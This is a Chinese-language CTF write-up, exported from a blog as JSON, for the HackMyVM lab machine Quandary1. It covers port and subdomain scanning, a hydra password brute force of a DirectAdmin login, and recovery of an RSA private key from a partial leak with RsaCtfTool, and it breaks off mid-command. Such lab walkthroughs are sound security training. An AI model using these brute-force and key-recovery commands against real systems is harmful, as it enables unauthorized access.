{"id":649,"date":"2024-04-28T15:15:23","date_gmt":"2024-04-28T07:15:23","guid":{"rendered":"http:\/\/162.14.82.114\/?p=649"},"modified":"2024-04-28T15:15:23","modified_gmt":"2024-04-28T07:15:23","slug":"hmv-_-quandary1","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/649\/04\/28\/2024\/","title":{"rendered":"hmv[-_-]Quandary1"},"content":{"rendered":"<h1>Quandary1<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508655.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508655.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427174527305\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508659.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508659.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427174753692\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u626b\u63cf<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/quandary1]\n\u2514\u2500$ rustscan -a 192.168.0.179 -- -A\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83c\udf0dHACK THE PLANET\ud83c\udf0d\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.0.179:22\nOpen 192.168.0.179:80\nOpen 192.168.0.179:8000\nOpen 192.168.0.179:8089\n\nPORT     STATE SERVICE  REASON  VERSION\n22\/tcp   open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 81:56:0b:dc:55:1f:aa:60:68:64:23:9a:9f:f7:9c:c7 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDI2kVkazSS3dGN2ee7ReI+1jurph\/pHrss6U6\/k+SVDaIZGTTwZgnli4QSL8FopHjWacYwES\/J9qW4cWQZ6AXHWmccdhF3SAU+Aw308UpRCuBHhFyfHQMG8K0NhyVrMOVrsa8x8u\/3Gg0POmcG1bfc+PP5pfKC226A4BLekLLdlE1nI7a\/QKD\/IOLVghfIC+ITMgEsXYWX0kKR2+yG4WL29Q6d8t5uN23oRyD4TMk8GHGRjHsZ6JiNGYLiBjtuFdDtHIrHjeqshumMJa6Q881VAMcgsIuNSSDE1Bvr1Divc\/B76kkSA9VSucfLV7fzc6YOeIjV4HdtKaXeWyYf0FQsxrGIv9d00ljivAjaHqDtQCnTSmOth2LM1oa4UiUpwenyHaKLkP1KLL1EdWbnC+RqQxdXrfIk3tADzY4g9S4fkVJDKFUiNaxLLz2ZiKH\/vGvPaxbxBqqjZHoWF6Nd+26rJopWyLIhAHgJc2QapoQbRR0IRT5f5CaM7fL5YgNXE7U=\n|   256 43:f3:11:c7:e4:be:c9:bf:4f:6c:1b:48:f6:e4:13:68 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBO4fScVOl6kxdcD8OLMml5qqh2SZdYpBqmm0aRYtgUy\/SykPWVEtCXz97oectjAAk7RQJcLszqTLC4od\/91vwcI=\n|   256 3c:b9:8d:3f:70:b2:31:15:96:f8:ce:95:29:86:b7:85 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGUZGZ4RQk6vJfDS+fnlHh6nVIQQdG0VcSAiFxVhwtSl\n80\/tcp   open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\n|_http-title: Under Construction\n| http-methods: \n|_  Supported Methods: HEAD GET POST OPTIONS\n8000\/tcp open  http     syn-ack Splunkd httpd\n|_http-favicon: Unknown favicon MD5: E60C968E8FF3CC2F4FB869588E83AFC6\n|_http-server-header: Splunkd\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n| http-robots.txt: 1 disallowed entry \n|_\/\n| http-title: Site doesn&#039;t have a title (text\/html; charset=UTF-8).\n|_Requested resource was http:\/\/quandary:8000\/en-US\/account\/login?return_to=%2Fen-US%2F\n8089\/tcp open  ssl\/http syn-ack Splunkd httpd\n| http-methods: \n|_  Supported Methods: GET HEAD OPTIONS\n|_http-title: splunkd\n| ssl-cert: Subject: commonName=SplunkServerDefaultCert\/organizationName=SplunkUser\n| Issuer: commonName=SplunkCommonCA\/organizationName=Splunk\/stateOrProvinceName=CA\/countryName=US\/localityName=San Francisco\/emailAddress=support@splunk.com\n| Public Key type: rsa\n| Public Key bits: 2048\n| Signature Algorithm: sha256WithRSAEncryption\n| Not valid before: 2023-02-24T10:44:38\n| Not valid after:  2026-02-23T10:44:38\n| MD5:   1127:d6ec:1fa5:9507:0275:0b6c:915f:e0a8\n| SHA-1: b895:3c01:97d0:51a6:febc:a79f:3076:760e:ba70:1a3a\n| -----BEGIN CERTIFICATE-----\n| MIIDMjCCAhoCCQDth2mholkTcTANBgkqhkiG9w0BAQsFADB\/MQswCQYDVQQGEwJV\n| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM\n| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW\n| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yMzAyMjQxMDQ0MzhaFw0yNjAyMjMxMDQ0\n| MzhaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK\n| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvs1B\n| hC5XPjGuibcj+eFPikwXf37iINqhw3rExjr8+XIVAQCe5R60MXbQ9xnZZJ01vQgD\n| XWoCn4aiYczzCsKOCJAvjMxv2\/KxSUm+oGFtlbDwxgvsO1o92O+WEYHqwhYv9Nmu\n| GewjP6moZUDKCSQSFmdY6vwBjIxjzHpb422smWFBripiBIxYTYeUAxLMQrKJrYbu\n| RwB6FQeaRlB5CVvNJBTAu8noFOjpExZIXXBw8p2RpmINvTInL3765f6aTFYZ05DB\n| cz9Epp2Zfg7nRB0yLC\/FOS1LRfDaVWCq\/wY\/DLxXiYb6IN0ORO3kgEQpJGWr0UE2\n| OpwtGXP4h2v9OdYHXQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQByQfP\/byppzBop\n| \/qhjmrQhnRGsuSmEZa4MLEfH6evHsePM\/2QyXhFB3EUj12Iptob4g3uvaktMusCH\n| LcwO+yOoCUNqqvXCPt3HSbOrzxGiBZy6bU4czXgn+NQpwbXNwN3FotY0yUcLpXZT\n| DBpLxOu1eUHoUJCBr0picIPpJwkibZ7Bo7bI9ZirinEHAlNyvJqA5THFi\/XfOfYt\n| 0dAfDt65GVy3iIQwnMK8mIL5oBDAHfhLFeIdAUopGkqTNbdCFOlfhgL8g6CNHWCO\n| MoFJzj1ed0vUuqUboo7UquNrWFENhyk9j0P\/8zV4zJ\/e3+yzo91CzCI2HgAZDh1V\n| 0LDfsmA3\n|_-----END CERTIFICATE-----\n| http-robots.txt: 1 disallowed entry \n|_\/\n|_http-server-header: Splunkd\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/quandary1]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.179\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.179\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              bak,jpg,txt,html,php,zip\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html           (Status: 200) [Size: 685]\n\/.php                 (Status: 403) [Size: 278]\n\/.html                (Status: 403) [Size: 278]\n\/.php                 (Status: 403) [Size: 278]\n\/.html                (Status: 403) [Size: 278]\n\/server-status        (Status: 403) [Size: 278]\nProgress: 1543920 \/ 1543927 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508661.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508661.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427174938875\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5b58\u5728dns\u89e3\u6790\uff1a<\/p>\n<pre><code class=\"language-apl\">192.168.0.179    quandary.hmv<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508662.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508662.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427175426859\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508663.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508663.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427175514752\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u6f0f\u6d1e\u641c\u96c6<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508664.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508664.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427175656700\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6ca1\u6709\u6211\u4eec\u597d\u7528\u7684\u3002\u3002\u3002\u3002<\/p>\n<h3>FUZZ domain<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/quandary1]\n\u2514\u2500# ffuf -u http:\/\/quandary.hmv -H &quot;HOST: FUZZ.quandary.hmv&quot; -w \/usr\/share\/seclists\/Discovery\/DNS\/subdomains-top1million-110000.txt -fw 43\n\n        \/&#039;___\\  \/&#039;___\\           \/&#039;___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/quandary.hmv\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Discovery\/DNS\/subdomains-top1million-110000.txt\n :: Header           : Host: FUZZ.quandary.hmv\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response words: 43\n________________________________________________\n\ndirectadmin             [Status: 200, Size: 2230, Words: 131, Lines: 119, Duration: 66ms]\n:: Progress: [114441\/114441] :: Job [1\/1] :: 5128 req\/sec :: Duration: [0:00:26] :: Errors: 0 ::<\/code><\/pre>\n<p>\u6dfb\u52a0\u89e3\u6790\uff1a<\/p>\n<pre><code class=\"language-bash\">192.168.0.179   quandary.hmv directadmin.quandary.hmv<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508665.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508665.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427180949906\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u63d0\u793a\u4e86\u7528\u6237\u540d\u4e3a<code>admin<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u6293\u5305\u7206\u7834\uff1a<\/p>\n<pre><code class=\"language-bash\">POST \/login.php HTTP\/1.1\nHost: directadmin.quandary.hmv\nContent-Length: 24\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http:\/\/directadmin.quandary.hmv\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/121.0.6167.85 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nReferer: http:\/\/directadmin.quandary.hmv\/\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nuname=admin&amp;psw=password<\/code><\/pre>\n<p>\u7136\u540e\u53d1\u73b0\u54cd\u5e94\u5305\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">HTTP\/1.1 200 OK\nDate: Sat, 27 Apr 2024 10:13:27 GMT\nServer: Apache\/2.4.41 (Ubuntu)\nSet-Cookie: PHPSESSID=2beipcl6uu2psr8aino9ulrtjl; path=\/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Length: 56\nConnection: close\nContent-Type: text\/html; charset=UTF-8\n\n&lt;div class=&quot;error&quot;&gt;Incorrect username or password.&lt;\/div&gt;<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff01<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/temp\/quandary1]\n\u2514\u2500# hydra -l admin -P \/usr\/share\/wordlists\/rockyou.txt directadmin.quandary.hmv http-post-form &quot;\/login.php:uname=^USER^&amp;psw=^PASS^:F=Incorrect username or password&quot;\nHydra v9.5 (c) 2023 by van Hauser\/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-04-27 06:14:57\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking http-post-form:\/\/directadmin.quandary.hmv:80\/login.php:uname=^USER^&amp;psw=^PASS^:F=Incorrect username or password\n[80][http-post-form] host: directadmin.quandary.hmv   login: admin   password: qazxsw\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-04-27 06:15:52<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508666.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404281508666.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240427181730810\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-text\">zfWP0Oewz87090bqRvmdyw5HvVzOnmhQAAAMEA3bbbBmTDBn4E\/86brUv\/b3nBhMiR1bbx nIEKyhulHY5mf3KcneltIzfJDRdg\/pmjCcGTkAkHc0BN9bLy6d2gQLOlsw9PY\/tbXuVp69 LIxDbA4UfeS+\/CTrpREVj+rBU1R6DJvJ5pnWSIx+pWEc6M9Ysfi4PQtJgGINxd5BEwyX\/g yHu5gjadvjsUYTpSGq+pEE44tHhAcrrx81F\/J2iKYyyJ9iAxvlqPHWL6mhum1W4OofiWDJ \nC+O4pw4gKwfuX5AAAAEWxhd3JlbmNlQHF1YW5kYXJ5AQ== \n-----END OPENSSH PRIVATE KEY----- <\/code><\/pre>\n<pre><code class=\"language-text\">ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMkW1dygI8UCOwrEjjCnceOqjY2DOnw6kUtCs4KAId5f\/xeKjx6hsC9Okvm0u\/Rs\/TiLhqQm+ibpo\/EVZ4vvw8XcrEqTdrU60OPiZO+RRUVHdps+SlLAys\/h+jopRfEvfeE4G86Kzm0pNwPoiny9ruLDa3ByPjhe3x9Rx9Vb+2KxZtXkEWeC1G8xILp5jG5gwboe6ncRtvTvko31iZCXG4eEAf04tdCitmF11KDoLgnmWsAmGIZoUDGaoydNUEMi2cGiaUiOzvAIvAbUXoZLRcuOVyPv8eHL+hpmk\/xPa4hN6z510EBbfiBEgTj12pu1SMQ1E5DsS\/d7n+UxEeM0M1ooVic85ttXAY4VzThX\/2c6b7o9iPtZ2QtyvFnV2Fb8RgclN3rrk7sLrw6t4YzxyyLLKGviLDEXssPJ7QSQmbA5kEFTTj8ATg2l+VqKbqljvbslTj\/KzJiiycUg5RfHMmi7\/gAEI9DMIcOCNgYy2CKDv\/1K94VYFOBKOT5nAsMF0= lawrence@quandary<\/code><\/pre>\n<pre><code class=\"language-text\">Just wanted to let you know that the other day I told you to leave me your public and private key in here. You only copied the public key and I believe that your private key was not copied completely to your clipboard. Anyways send me an email at admin@quandary.hmv when you have copied your private key here. Talk to you next week! <\/code><\/pre>\n<p>\u53ea\u6709\u6b8b\u7f3a\u7684rsa\u3002\u3002\u3002\u8fd8\u6709\u7528\u6237<code>lawrence<\/code><\/p>\n<h3>RSA\u8fd8\u539f<\/h3>\n<p>\u4e3a\u4e86\u8fd8\u539f\u6211\uff0c\u6211\u4eec\u4e5f\u641e\u4e00\u4e2a\u5bf9\u6bd4\u4e00\u4e0b\uff0c\u4f46\u662f\u6ca1\u601d\u8def\uff0c\u778e\u6298\u817e\u5427\uff1a<\/p>\n<pre><code class=\"language-python\">from Crypto.Util.number import bytes_to_long, isPrime\nimport base64\n\nprivet_key1 = b&quot;&quot;&quot;\nzfWP0Oewz87090bqRvmdyw5HvVzOnmhQAAAMEA3bbbBmTDBn4E\/86brUv\/b3nBhMiR1bbx\nnIEKyhulHY5mf3KcneltIzfJDRdg\/pmjCcGTkAkHc0BN9bLy6d2gQLOlsw9PY\/tbXuVp69\nLIxDbA4UfeS+\/CTrpREVj+rBU1R6DJvJ5pnWSIx+pWEc6M9Ysfi4PQtJgGINxd5BEwyX\/g\nyHu5gjadvjsUYTpSGq+pEE44tHhAcrrx81F\/J2iKYyyJ9iAxvlqPHWL6mhum1W4OofiWDJ \nC+O4pw4gKwfuX5AAAAEWxhd3JlbmNlQHF1YW5kYXJ5AQ== \n&quot;&quot;&quot;\n\nprint(hex(bytes_to_long(base64.b64decode(privet_key1))))<\/code><\/pre>\n<pre><code class=\"language-text\">0xcdf58fd0e7b0cfcef4f746ea46f99dcb0e47bd5cce9e685000000c100ddb6db0664c3067e04ffce9bad4bff6f79c184c891d5b6f19c810aca1ba51d8e667f729c9de96d2337c90d1760fe99a309c19390090773404df5b2f2e9dda040b3a5b30f4f63fb5b5ee569ebd2c8c436c0e147de4befc24eba511158feac153547a0c9bc9e699d6488c7ea5611ce8cf58b1f8b83d0b4980620dc5de41130c97fe0c87bb982369dbe3b14613a521aafa9104e38b4784072baf1f3517f27688a632c89f62031be5a8f1d62fa9a1ba6d56e0ea1f8960c90be3b8a70e202b07ee5f9000000116c617772656e6365407175616e64617279010<\/code><\/pre>\n<p>\u4e0d\u77e5\u9053\u5565\u73a9\u610f\uff0c\u5148\u6309\u7167<a href=\"https:\/\/0x-noname.github.io\/writeups\/hmv\/qandary1\/\">\u8fd9\u4e2a<\/a>\u505a\u5b8c\u518d\u8bf4\u5427\uff0c\u5c06\u4e24\u4e2a0000\u4e4b\u95f4\u7684\u5185\u5bb9\u53d6\u51fa\u6765\u8fdb\u884c\u63d0\u53d6\uff1a<\/p>\n<pre><code class=\"language-text\">00ddb6db0664c3067e04ffce9bad4bff6f79c184c891d5b6f19c810aca1ba51d8e667f729c9de96d2337c90d1760fe99a309c19390090773404df5b2f2e9dda040b3a5b30f4f63fb5b5ee569ebd2c8c436c0e147de4befc24eba511158feac153547a0c9bc9e699d6488c7ea5611ce8cf58b1f8b83d0b4980620dc5de41130c97fe0c87bb982369dbe3b14613a521aafa9104e38b4784072baf1f3517f27688a632c89f62031be5a8f1d62fa9a1ba6d56e0ea1f8960c90be3b8a70e202b07ee5f9<\/code><\/pre>\n<p>\u7136\u540e\u4f7f\u7528 RsaCtfTool \u8fdb\u884c\u63d0\u53d6<code>id_rsa.pub<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">python3 RsaCtfTool.py --dumpkey --key ~\/temp\/quandary1\/id_rsa.pub\nn: 4642421543991179019964692016788403177025358063102268524212423228189528596895170405153602445615118419212223226078074453986177472725050022572587024783411210723545417223580795714337658317644600710977643659117646138971288507670714891915567627657016012444148959410342945730970014623180839037352324793504854280898767977521184232703784662443937471871622433994077336438059851303086048286261868207715006857520994317314821143055143592860860368254426653723888757730451605284748162042770667676361851991339230785775821819532309277372272457963213800075499186577460643456066054587133719735722722251521202461419907661026967268418772174427525979398819794375601193383454474268781976098528566869480441959440610281074050975272532072205542487391556023279787075858556906874328679193257003390683054283767394238642958016947628361850991027906221743379943686704898841560306199533457085371947617432419977464891192335343525374168230063727387700039004253\ne: 65537<\/code><\/pre>\n<p>\u7136\u540e\u641e\u51fa\u79c1\u94a5\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(root\u327fkali)-[~\/RsaCtfTool]\n\u2514\u2500# python3 RsaCtfTool.py -e 65537 -n 4642421543991179019964692016788403177025358063102268524212423228189528596895170405153602445615118419212223226078074453986177472725050022572587024783411210723545417223580795714337658317644600710977643659117646138971288507670714891915567627657016012444148959410342945730970014623180839037352324793504854280898767977521184232703784662443937471871622433994077336438059851303086048286261868207715006857520994317314821143055143592860860368254426653723888757730451605284748162042770667676361851991339230785775821819532309277372272457963213800075499186577460643456066054587133719735722722251521202461419907661026967268418772174427525979398819794375601193383454474268781976098528566869480441959440610281074050975272532072205542487391556023279787075858556906874328679193257003390683054283767394238642958016947628361850991027906221743379943686704898841560306199533457085371947617432419977464891192335343525374168230063727387700039004253